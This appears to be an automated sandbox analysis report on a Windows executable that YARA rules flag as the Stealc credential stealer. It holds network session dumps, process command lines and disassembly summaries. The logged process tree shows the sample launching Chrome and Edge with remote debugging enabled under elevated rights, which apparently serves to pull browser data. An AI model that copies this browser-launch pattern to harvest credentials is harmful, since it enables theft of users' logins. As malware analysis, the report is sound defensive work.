2024-10-30 10:45:39 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49923	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 0ad7b348-901e-0067-0d67-28b5cb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104539Z-r1755647c66pzcrw3ktqe96x2s0000000970000000001zzw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.6	49924	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:39 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104539Z-r1755647c66f4bf880huw27dwc00000009b0000000001kc0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.6	49925	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 35d0191b-501e-0047-5a17-26ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104539Z-17fbfdc98bb2cvg4m0cmab3ecw00000006pg000000002ekf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.6	49926	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:39 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:39 UTC	563	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:39 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 8055f236-801e-0083-4e87-28f0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104539Z-r1755647c66tgwsmrrc4e69sk000000007a0000000000kd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:39 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.6	49931	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-30 10:45:40 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-30 10:45:40 UTC	584	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 10:45:40 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: e02f31dd-001e-0082-0849-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241030T104540Z-17fbfdc98bbds27mnhu6ftg4d800000006bg000000002a9y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-30 10:45:40 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Target ID:	0
Start time:	06:45:02
Start date:	30/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x450000
File size:	2'125'824 bytes
MD5 hash:	DB6B1432E0641F3EC061401D5547D4A4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2601720478.000000000124E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.2139158406.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.2599315739.0000000000451000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:45:13
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	06:45:14
Start date:	30/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 --field-trial-handle=2276,i,10947752675193604870,8748139334359778798,262144 /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	06:45:25
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	06:45:26
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2572 --field-trial-handle=2308,i,13248434027509961714,6387315998208005900,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	06:45:26
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	06:45:27
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2672 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:3
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	06:45:30
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6776 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	06:45:30
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6840 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	06:45:32
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	06:45:32
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6784 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Imagebase:	0x7ff6f2da0000
File size:	1'255'976 bytes
MD5 hash:	F8CEC3E43A6305AC9BA3700131594306
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	06:46:27
Start date:	30/10/2024
Path:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6968 --field-trial-handle=2600,i,4098161083112385091,5340634980591339184,262144 /prefetch:8
Imagebase:	0x7ff715da0000
File size:	4'210'216 bytes
MD5 hash:	BF154738460E4AB1D388970E1AB13FAB
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	0.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.2%
Total number of Nodes:	113
Total number of Limit Nodes:	13

Executed Functions

Function 6CA135A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6CA9F688,00001000), ref: 6CA135D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA135E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6CA135FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA1363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA1369F
__aulldiv.LIBCMT ref: 6CA136E4
QueryPerformanceCounter.KERNEL32(?), ref: 6CA13773
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA1377E
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA137BD
QueryPerformanceCounter.KERNEL32(?), ref: 6CA137C4
EnterCriticalSection.KERNEL32(6CA9F688), ref: 6CA137CB
LeaveCriticalSection.KERNEL32(6CA9F688), ref: 6CA13801
__aulldiv.LIBCMT ref: 6CA13883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6CA13902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6CA13918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6CA1394C

Strings

GenuntelineI, xrefs: 6CA13639
MOZ_TIMESTAMP_MODE, xrefs: 6CA135DB
GTC, xrefs: 6CA13912
QPC, xrefs: 6CA138FC
AuthcAMDenti, xrefs: 6CA13946

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c11dcde92162dc2ab147b16178b882e33df8d520b0920f8ef10884001852b845
Instruction ID: 7e8179c5f3105c488e7e1fe394e5b3e0ec81f63c3217c468c18e49fe532edc2f
Opcode Fuzzy Hash: c11dcde92162dc2ab147b16178b882e33df8d520b0920f8ef10884001852b845
Instruction Fuzzy Hash: D7B1D271B193519FDB0CCF28C84665AB7F9BB89704F04CA2DF999D7750DB3098468B81

Function 6CA2C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6CA2C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6CA2C969
GetSystemInfo.KERNEL32(?), ref: 6CA2C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6CA2C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6CA2C9E2

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: a34bf47d7c8f41a0c9602d8a711e9b8a4199ecb2827478e0007f81c59a49c3f6
Instruction ID: 82e9ffb699e6a89e25f2f49b412fd7151783d51a99209570b5854af3eb0a518d
Opcode Fuzzy Hash: a34bf47d7c8f41a0c9602d8a711e9b8a4199ecb2827478e0007f81c59a49c3f6
Instruction Fuzzy Hash: 1D216A31751325ABEB18AF64DC85BAE7379FB46708F58411DF907A3A40DF20DC848790

Function 6CA13060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6CA13095

Part of subcall function 6CA135A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6CA9F688,00001000), ref: 6CA135D5
Part of subcall function 6CA135A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6CA135E0
Part of subcall function 6CA135A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6CA135FD
Part of subcall function 6CA135A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6CA1363F
Part of subcall function 6CA135A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6CA1369F
Part of subcall function 6CA135A0: __aulldiv.LIBCMT ref: 6CA136E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CA1309F

Part of subcall function 6CA35B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CA356EE,?,00000001), ref: 6CA35B85
Part of subcall function 6CA35B50: EnterCriticalSection.KERNEL32(6CA9F688,?,?,?,6CA356EE,?,00000001), ref: 6CA35B90
Part of subcall function 6CA35B50: LeaveCriticalSection.KERNEL32(6CA9F688,?,?,?,6CA356EE,?,00000001), ref: 6CA35BD8
Part of subcall function 6CA35B50: GetTickCount64.KERNEL32 ref: 6CA35BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6CA130BE

Part of subcall function 6CA130F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6CA13127
Part of subcall function 6CA130F0: __aulldiv.LIBCMT ref: 6CA13140

